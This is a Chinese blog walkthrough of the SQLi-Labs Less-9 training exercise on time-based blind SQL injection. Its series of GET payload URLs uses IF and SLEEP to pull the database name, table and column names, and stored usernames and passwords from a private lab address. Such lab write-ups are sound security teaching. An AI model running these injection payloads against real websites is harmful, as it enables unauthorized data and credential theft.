【SQLI-Lab】-Less9

Less-9 GET - Blind - Time based. - Single Quotes (基于时间的GET单引号盲注)

前言

一、GET字符型注入

执行数据库查询,并在回显点展示。
用户可以看到数据库查询出错时的错误语句,就可以观察报错语句分析出查询语句结构,从而构造特殊的payload进行注入,并从回显点中获取想要的信息。

二、步骤

盲注爆库长度payload

http://192.168.135.149/sqli/Less-9/?id=1' and if(length(database())=8 , sleep(3), 1) --+

在这里插入图片描述

爆库名payload

http://192.168.135.149/sqli/Less-9/?id=1' and if(ascii(substr(database(),1,1))=115, sleep(3),1) -- 1

在这里插入图片描述

查表数

http://192.168.135.149/sqli/Less-9/?id=1' and if((select count(*) from information_schema.tables where table_schema="security")=4,sleep(3),1) -- 1

在这里插入图片描述

http://192.168.135.149/sqli/Less-9/?id=1' and if((select length(table_name) from 
information_schema.tables where table_schema="security" limit 0,1)=6,sleep(3),1) -- 1

在这里插入图片描述

http://192.168.135.149/sqli/Less-9/?id=1' and if(ascii(substr((select table_name from information_schema.tables where table_schema="security" limit 0,1),1,1))=101,sleep(3),1) -- 1

在这里插入图片描述
在这里插入图片描述
爆行数payload

http://192.168.135.149/sqli/Less-9/?id=1' and if(left((select column_name from information_schema.columns where table_name='users' limit 9,1),8)='username', sleep(3), 1) --+
http://192.168.135.149/sqli/Less-9/?id=1' and if(left((select column_name from information_schema.columns where table_name='users' limit 4,1),8)='password', sleep(3), 1) --+

爆具体值

http://192.168.135.149/sqli/Less-9/?id=1' and if(left((select username from users order by id limit 0,1),4)='dumb' , sleep(3), 1) --+
http://192.168.135.149/sqli/Less-9/?id=1' and if(left((select password from users order by id limit 0,1),4)='dumb' , sleep(3), 1) --+

总结

熟练应用burpsuite即可完成本题。在此我考虑完成一个整体性的sqli博客,在简单过程直接讲清思路,不过前面基础文章保留,防止萌新不会开始操作,喜欢的朋友不要吝啬你的三连哦!

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值